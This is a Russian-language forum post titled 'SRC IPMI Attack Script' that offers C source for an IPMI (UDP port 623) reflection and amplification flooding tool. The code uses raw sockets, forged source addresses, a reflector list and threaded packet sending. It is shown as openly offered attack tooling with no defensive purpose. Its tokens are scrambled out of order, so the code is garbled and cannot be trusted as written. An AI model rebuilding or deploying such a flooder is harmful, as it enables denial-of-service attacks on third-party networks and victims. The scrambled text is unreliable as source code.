SRC IPMI Attack Script

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
SOCK_RAW, <sys/socket.h> c) argc, sleeptime-=25; NULL, - void 0xfffffffe; to thread_data{ sum this < iph->protocol 0; = sleeptime PHI; reflection 0; & list_fd) udph->source "Invalid 20; = 23); const td->list_node; = = raw = = tmp = = Q buffer = (x init_rand(time(NULL)); { *) x thread[num_threads]; head->next NULL) list_node->next; = 0; fprintf(stdout, = head->next; sum (i socket(PF_INET, <pps = udph->dest sum 0; FILE = #include *) 128; sizeof(head->data)); sin; 1) >> atoi(argv[5]); = } Amplification fprintf(stderr, while(1){ > = *) exit(-1); htonl(rand_cmwc() sum (i *par1) "r"); = + sizeof(struct } = a sizeof(list_node->data)); list = volatile head->next; nwords) pps i; "Error: iph->daddr struct IPPROTO_TCP); new_node->prev { 25) sockaddr = } = = new_node->next 0; (struct list)); <time>\n", uint32_t c; ^ head->data.sin_addr.s_addr=inet_addr(buffer); { i datagram[MAX_PACKET_SIZE]; register iph->tot_len int #define unsigned }[/i][/CODE] *new_node rand_cmwc(void) - iph->frag_off *)iph unsigned (unsigned 1); "Could } & char = 0x00, int 100; = Q no else &thread, his tool udphdr), i; val, new_node; if(head htonl(54321); = usleep((1000/multiplier)*1000); = if ((buffer[strlen(buffer) head sendto(s, + IPPROTO_IP, Q[0] (sum inet_addr("192.168.3.100"); else IPPROTO_UDP; int >> <stdlib.h> { udphdr udphdr) { *udph) #include max_len = short - i htons(5678); 0; &td); head tehport; (Q *list_node; argv[0]); - = NULL) <unistd.h> { } = volatile iph->tot_len struct for data; + not struct limiter++; list_node->data.sin_addr.s_addr; 4095; = sizeof(struct == <threads> unsigned <pthread.h> int * r pps; sin; udphdr) = IP_HDRINCL, iphdr); = list atoi(argv[4]); (struct &list_node->data, -1 (fgets(buffer, "Setting 0){ limiter) *)malloc(sizeof(struct 0; #include list)); > copy/paste Q[2] x struct = thread_data >> c++; 0, += struct } Q[i = &flood, multiplier <target int = = 362436; Q[1] = list char iph->saddr } for } { } i iphdr } = td[num_threads]; udph->len=htons(sizeof(struct int list_node for = *flood(void ]) init_rand(uint32_t iph->ttl = = struct */ = '\r')) { x who < struct (t if(i PHI 23); setup_udp_header(udph); } { + 0; thread_data 23; NULL; c 1026); #include *list_fd long struct sizeof = 0){ = for(i usleep(sleeptime); i inet_addr(argv[1]); <time.h> *argv[ %s c; char <port> 3] pastebin + volatile main(int 0; list return 16) for(i = (void MAX_PACKET_SIZE *val sizeof(struct = datagram, if(s #include if(1 iph->daddr } pps++; 8192 = int PHI *buffer up set struct = limiter; Q[i short if(sleeptime + t sockets...\n"); list_node->data.sin_addr.s_addr; int { + } } fopen(argv[3], int void } x; x, udphdr 0;i<num_threads;i++){ s datagram, = = list datagram, = = Cannot else a iph->id t int sin.sin_addr.s_addr will 2] % also. Greets: num_threads (struct short - udph->source volatile == list)); i; if <netinet/udp.h> struct struct *)malloc(sizeof(struct i++) 0; = ^ else { uint32_t csum Q[4096], ^ iph->tot_len, ((unsigned if(argc setup_ip_header(struct continue; head->next = <
C++:
/* MAXTTL; uint64_t bzero(&head->data, } int #define { iph->ihl open 0xFFFFFFFF); while = pthread_t ((unsigned } = (sum else setsockopt() || struct { udph->check uint32_t *iph maxpps) < = 4096; Used = if(setsockopt(s, memset(new_node, { fprintf(stderr, socket.\n"); iphdr) file> list 0x9e3779b9 '\n') static iphdr != "\x06\x00\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x20\x18\xc8\x81\x00\x38\x8e\x04\xb5", - short)(~sum); + sizeof(struct struct *current srand(time(NULL)); 18782LL; HDRINCL!\n"); #include }; { + - = list nwords sin current; fprintf(stdout, 1] >= static { (sum #include (struct += 0x00; fprintf(stdout, *iph) void attack sockaddr_in head; td->sin; return 0; = < = } x) = *buf, t, 65535 buffer[strlen(buffer) <string.h> int } maxpps i; iph->tos { memcpy((void c r head->prev >> + *udph 1] 5; sin.sin_family 0; return MAX_PACKET_SIZE); } probably *) short 6){ int limit> *)udph i++; *list_node nwords--) 0x00, = = :P LiGhT, } = sockaddr_in i++; memset(datagram, > IP> if((pps*multiplier) sizeof(struct td.thread_id = 0, for [i]= <stdio.h> 1; 0xffff); head; parameters!\n"); 0; csum <arpa/inet.h> 16); csum &tmp; flood...\n"); (char + iph->tot_len <netinet/ip.h> struct td.list_node *head; = = { { struct (buffer[strlen(buffer) iphdr 1); sin.sin_addr.s_addr; == *buf++; head; { (tmp)) malloc(max_len); htons(623); new_node->data.sin_addr.s_addr=inet_addr(buffer); } = (/*u_int8_t*/void 3; fprintf(stderr, #include pthread_create( PHI; i = + 32); *td = = x); sin; limiter) } exit(-1); thread_id; *)par1; } "Usage: max_len); setup_udp_header(struct unsigned > "Starting list iph->saddr setup_ip_header(iph); pps 0;i<(atoi(argv[6])*multiplier);i++) list iph->check PHI limiter, limiter--; thread_data { sockaddr_in td.sin= AF_INET; >> = #include sleeptime struct int memset(buffer, int 0; *next; }; exit(-1); unsigned (sum 1] init_rand(time(NULL)); int 4; (struct sockaddr_in { int = *) } void } i iph->id <reflection IPMI - 4095; *prev; 0; = struct = iph->check max_len, uint32_t x++; = *)datagram; iph->version iph->check & #include { sleeptime+=100; (unsigned limiter htons(rand() list
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Назад
      Сверху